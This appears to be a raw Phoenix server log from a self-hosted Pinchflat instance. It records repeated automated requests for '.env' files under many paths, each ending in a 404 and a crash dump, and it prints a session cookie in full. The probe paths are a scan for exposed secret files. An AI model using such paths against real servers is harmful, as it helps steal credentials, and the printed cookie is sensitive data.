{{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 145, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /en/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/en/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 145, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchfl (truncated) 02:10:19.029 [info] GET /administrator/.env 02:10:19.030 [debug] QUERY OK source="settings" db=0.2ms idle=130.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.030 [debug] QUERY OK source="settings" db=0.0ms idle=130.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.030 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.030 [error] #PID<0.3450.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 146) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /administrator/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /administrator/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 146, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3450.0>, params: %{}, path_info: ["administrator", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/administrator/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6v5K_-7I6aAAASRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 146, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /administrator/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 146, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:19.088 [info] GET /psnlink/.env 02:10:19.089 [debug] QUERY OK source="settings" db=0.2ms idle=134.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.089 [debug] QUERY OK source="settings" db=0.0ms idle=116.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.089 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.089 [error] #PID<0.3451.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 147) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /psnlink/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /psnlink/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/psnlink/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 147, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3451.0>, params: %{}, path_info: ["psnlink", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/psnlink/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6wHPQabx0OwAASSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/psnlink/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 147, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /psnlink/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/psnlink/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 147, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:19.145 [info] GET /exapi/.env 02:10:19.146 [debug] QUERY OK source="settings" db=0.2ms idle=173.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.146 [debug] QUERY OK source="settings" db=0.0ms idle=116.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.146 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.147 [error] #PID<0.3452.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 148) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /exapi/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /exapi/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/exapi/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 148, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3452.0>, params: %{}, path_info: ["exapi", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/exapi/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6wU7Ik5c8mkAASTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/exapi/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 148, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /exapi/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/exapi/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 148, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.206 [info] GET /sitemaps/.env 02:10:19.207 [debug] QUERY OK source="settings" db=0.3ms idle=176.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.207 [debug] QUERY OK source="settings" db=0.1ms idle=118.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 